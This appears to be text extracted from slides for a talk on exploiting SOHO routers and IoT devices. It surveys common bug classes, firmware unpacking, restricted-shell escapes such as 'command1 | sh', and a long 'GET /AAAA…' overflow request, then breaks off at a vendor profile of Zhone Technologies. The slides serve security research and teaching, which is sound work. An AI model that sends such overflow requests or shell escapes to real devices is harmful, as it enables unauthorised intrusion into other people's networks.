Advanced SOHO Router Exploitation

Lyon Yang / @l0Op3r
Hi everyone my name is Lyon Yang

- I hack IoT and embedded systems.
- I live in sunny Singapore.
- Spoke @ DEFCON IoT Village & XCON

- Singapore is a smart city with IoT already deployed.
- Taxi drivers in SG will become robots.

I work at a company called Vantage Point

- Strongest technical team in Singapore/SE Asia.
- Large collective of passionate hackers.
- Working in the financial and government sectors.
Today I want to share with you a story:

1 year ago, I set about to try and become the “corelan” of ARM and MIPS exploitation - a formidable task!
I wanted to fully understand embedded systems and try to contribute back into the community.

and in the process pop many shells!
Who Am I?

I am a rather regular guy...

- Basic understanding of ASM and exploitation
- Attended some training events myself
  - Corelan, HITB, OSCP

Practice Makes Perfect

- I started buying embedded devices and ‘playing’
- Working on IoT till 2-3am most mornings.
Immature

The current state of embedded hacking

Rather immature.

- I learnt quickly that tools don’t work.
- A lot of things crash..
- Support that was supported, isn’t actually supported.
- Answers on StackOverflow are very limited...
The state of IoT and embedded security.

Equally as immature as the tools.

- “1990 called” - Send our bugs back
- Basic strcpy/memcpy exploits
- Not much privilege separation
- Unsecured host OS
- Backdoors are often ‘vendor features’
- Not all vendors care about security
Attack Surface of IoT

- Think of IoT devices as miniature computers
  - ARM or MIPS CPU
  - “Hard-Drive” is a memory IC
  - Runs Linux (typically)
  - Communicate over WiFi/Wired
  - HTTPD, UnPnP, FTPD, SSHD, TelnetD
Hardware

- IC Pick
Other alternatives

- Firmware updates are often online
- Can be unpacked using freely available tools (binwalk, fmk, squashfs)

Once we have the Firmware – it’s digging time.

- Identify all software on the device
- Find all shared libraries (Look for custom ones)
- Find each available Software Input / Entry Point

It does not take long before your finding shells.
At Vantage Point I work with IoT vendors within SE Asia

Network Services (httpd/telnetd...)
  • Found more stack overflows than you can count
  • “Every string was insecurely handled”

Admin “restricted” Shells
  command1 | sh
  sh
  dumpmem/readmem
• Backdoor User(s)
• Security Implemented in Client Side
• Debug interfaces left active
• File Upload -> Shell
• Arbitrary File Read (../../../..)
• Command Injection
• Stack Overflows
• Unauthorized Remote Access via UPnP
In IoT we want **Remote Unauthenticated** bugs

- Large scale device compromises.

- **Telnetd & httpd** are first targets
  - Daemon re-spawn on crash
  - Lots of unauthenticated content
  - Both run as root
  - Remote access often allowed
  - Many fuzzing tools available
  - HTTP is a big protocol!
Developers typically modify open source software
• Customized to meet their own needs.
• MicroHTTPD, BusyBox.
• This requires you are a strong C, C++ Developer
• Most developers now-a-days, are not so strong.
• Customizations exactly where we find bugs.

• Stack Overflows in vendor modifications
  • Additional File Handlers or HTTP Methods
  • Authentication
  • Password Reset
  • Log File Access
Typically I find bugs like these:

```
GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Zhone Technologies is a Global Leader in Fiber Access Transformation for Service Provider and Enterprise Networks!

Based in the US

Reference from zhone.com
Top Organizations

- TOT
- Multimedia Polska S. A.
- COPEL Telecom
